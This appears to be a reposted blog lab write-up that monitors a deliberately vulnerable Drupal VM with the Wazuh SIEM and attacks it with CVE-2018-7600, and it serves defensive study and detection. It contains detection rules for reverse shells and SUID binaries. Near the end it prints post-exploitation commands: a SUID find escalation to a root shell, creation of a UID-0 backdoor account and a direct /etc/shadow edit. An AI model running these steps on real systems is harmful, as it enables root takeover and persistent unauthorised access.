Objective: Carry out an API Attack on an API of your choice then implement a SIEM of your choice to show the logs of all events.
This lab was created to simulate an API Attack and capture the reflecting impacts on the server or machine that it is being targeted on. The components are Wazuh, Kali Linux and DC-1(Victim).
In this lab the vulnerability that is going to be exploited is CVE-2018–7600, https://nvd.nist.gov/vuln/detail/CVE-2018-7600. This vulnerability can enable remote code execution and results from insufficient input validation on the Drupal 7 Form API. More information about the API and it’s weakness can be found here: https://unit42.paloaltonetworks.com/unit42-exploit-wild-drupalgeddon2-analysis-cve-2018-7600/
This exercise is going to be created using VMs created in VirtualBox. The components include
- SIEM — Wazuh: SIEMs( Security Information and Events Management systems) are tools used to aggregate and analyze security-related events and incidents. SIEMs generally do the following below:
- Data collection — logs.
- Setting policies — In the case of this lab, Security Configuration Assessment(SCA)
- Data correlation.
- Setting Notifications — Events, Incidents and Attacks
2. Victim — DC-1: This is a purposely built vulnerable linux machine for the purpose of gaining experience in the world of penetration testing. It runs Drupal CMS on a web server.
3. Attacker — Kali: Widely known offensive distro with an armory of hacking tools.
A VirtualBox Host-Only Ethernet Adapter was used to network the components.
Wazuh — 192.168.0.66/24
DC-1 — 192.168.0.13/24
Kali — 192.168.0.31/24
Simply fire up a virtual appliance of Kali. It’s easy to set up.
The SIEM implemented is Wazuh, it is an open source tool used to collect, aggregate, index and analyze security data, helping organizations detect intrusions, threats and behavioral anomalies. A simple to use and install version pre installed with [ CentOS 7, Wazuh manager: 4.1.5, Open Distro for Elasticsearch: 7.10.2, Filebeat-OSS: 7.10.2, Kibana: 7.10.2, Wazuh Kibana plugin: 4.1.5–7.10.2 ] can be used instead of having to go through the rigorous task of setting up Wazuh from scratch.
Download the OVA file from https://documentation.wazuh.com/current/virtual-machine/virtual-machine.html
After the virtual appliance has been imported, login in with root and wazuh.
Take note of the IP address of the wazuh server, this would be used in configuration of wazuh agents.
From a browser, try to access the wazuh machine ip address,
DC-1 VirtualBox OVA can be downloaded from https://www.vulnhub.com/entry/dc-1-1,292/#download.
Click on the OVA file and install. After proper installation you will arrive at a login page. No need to go further, it’s all set.
Installing the Wazuh agent
Using ssh(The box doesn’t provide login credentials, so it was pre hacked with this vuln to create a user) to login to the victim machine because of the upgraded shell it provides to download wazuh-agent.
WAZUH_MANAGER=”192.168.0.66" dpkg -i wazuh-agent_4.1.5–1_i386.deb
Since we are configuring our agents remotely from the manager and the configuration contains commands (in SCA and command features), we need to enable the following settings in the agent:
echo -e “sca.remote_commands=1\nwazuh_command.remote_commands=1” >> /var/ossec/etc/local_internal_options.conf
To apply changes, restart agent
service wazuh-agent restart
Reloading the Wazuh Dashboard and we can see that the agent has been added
Note that the agent and manager have to be the same version if not the agent would appear under “Never Connect Agents”.
Vulnerability detection in Wazuh is done by:
- Agents collect information about the local applications and send it to the manager periodically; a sqlite db per agent is stored on the manager with this information. The manager uses a global vulnerability database which is created from publicly available CVE repositories, which is used to check the information with the agent’s applications inventory data.
- Security Configuration Assessment module: This is a set of predefined policies that Wazuh used to run configuration checks against infrastructure with the agents installed on. This is used for security harding and is written in yaml. If the policies aren’t met an alert will be sent to the manager.
We know that the DC-1 runs Drupal, so let’s write a SCA configuration to detect dangerous binaries with SUID bit set
nano /var/ossec/etc/shared/default/sca_systemfiles.yaml# Security Configuration Assessment# System filespolicy:id: "system-files"file: "system-files.yml"name: "Security checks for system files"description: "Analyse system files to find vulnerabilities"checks:- id: 100002title: "Dangerous binaries with SUID bit set found"description: "Binaries with SUID bit set can result in a root shell."condition: nonerules:- 'c:find /usr/bin -perm -u=s -type f -printf "%y:%p\n" -> !r:arping|at|bwrap|chfn|chrome-sandbox|chsh|dbus-daemon-launch-helper|dmcrypt-get-device|exim4|fusermount|gpasswd|helper|kismet_capture|lxc-user-nic|mount|mount.cifs|mount.ecryptfs_private|mount.nfs|newgidmap|newgrp|newuidmap|ntfs-3g|passwd|ping|ping6|pkexec|polkit-agent-helper-1|pppd|snap-confine|ssh-keysign|su|sudo|traceroute6.iputils|ubuntu-core-launcher|umount|VBoxHeadless|VBoxNetAdpCtl|VBoxNetDHCP|VBoxNetNAT|VBoxSDL|VBoxVolInfo|VirtualBoxVM|vmware-authd|vmware-user-suid-wrapper|vmware-vmx|vmware-vmx-debug|vmware-vmx-stats|Xorg.wrap|chage|crontab|^"$'
Now to enable the SCA policies in the agent configuration
nano /var/ossec/etc/shared/default/agent.conf<agent_config> <sca> <enabled>yes</enabled> <scan_on_start>yes</scan_on_start> <interval>15m</interval> <skip_nfs>yes</skip_nfs> <policies> <policy>/var/ossec/etc/shared/sca_systemfiles.yaml</policy> </policies> </sca> </agent_config>
We can configure wazuh to check for malicious commands like [eval(base64_decode], so we will list processes to check for this.
To create a command, we use the command wodle in Wazuh. This has to be added to the /var/ossec/etc/shared/default/agent.conf file.
<wodle name=”command”> <disabled>no</disabled> <tag>ps-list</tag> <command>ps -eo user,pid,cmd</command> <interval>10s</interval> <ignore_output>no</ignore_output> <run_on_start>yes</run_on_start> <timeout>5</timeout> </wodle>
Now create the rule to detect processes evaluating base64 code
nano /var/ossec/etc/rules/local_rules.xml<group name=”wazuh,”> <rule id=”100001" level=”0"> <location>command_ps-list</location> <description>List of running process.</description> <group>process_monitor,</group> </rule> <rule id=”100002" level=”10"> <if_sid>100001</if_sid> <match>eval(base64_decode</match> <description>Reverse shell detected.</description> <group>process_monitor,attacks</group> </rule> </group>
Overview of Victim machine.
Looking at the SCA dashboard,
We can see that it failed because it detected SUID,
Security Events Before the attack
Firing up metasploit on the Kali machine and using the exploit/unix/webapp/drupal_drupalgeddon2 exploit to get RCE.
Further, let’s create a user on the compromised machine.
python -c ‘import pty; pty.spawn(“/bin/bash”)’/var/wwwfind /usr/bin -perm -u=s -type ffind . -exec /bin/sh \; -quit/usr/sbin/useradd -ou 0 -g 0 attackersed -i ‘s/attacker:!:/attacker:$6$uW5y3OHZDcc0avXy$WiqPpaw7e2a7K8Z.oKMUgMzCAVooT0HWNMKDBbrBnBlUXbLr1lFnboJ1UkC013gPZhVIX85IZ4RCq4\/cVqpO00:/g’ /etc/shadow
After the attack, let’s look at the reflection on the SIEM.
We can see the start of the attack indicated in “Web server 400 error code”, then the reverse shell and user creation was also spotted.
Wazuh is a cool open source SIEM but it is important to note that rules to catch machine specific events have to be manually created. This can be initially tedious but the results are worth it. Alienvault OSSIM was the initial SIEM of choice but upon installation it was noticed that it has lots of limitations.
Originally posted at: https://cyberspades.medium.com/siem-monitoring-using-wazuh-17cce55b2752
About the Author
Francis Jeremiah is a Security Researcher who spends time exploring OSINT Techniques, deploying Infrastructure and researching Offensive Capabilities.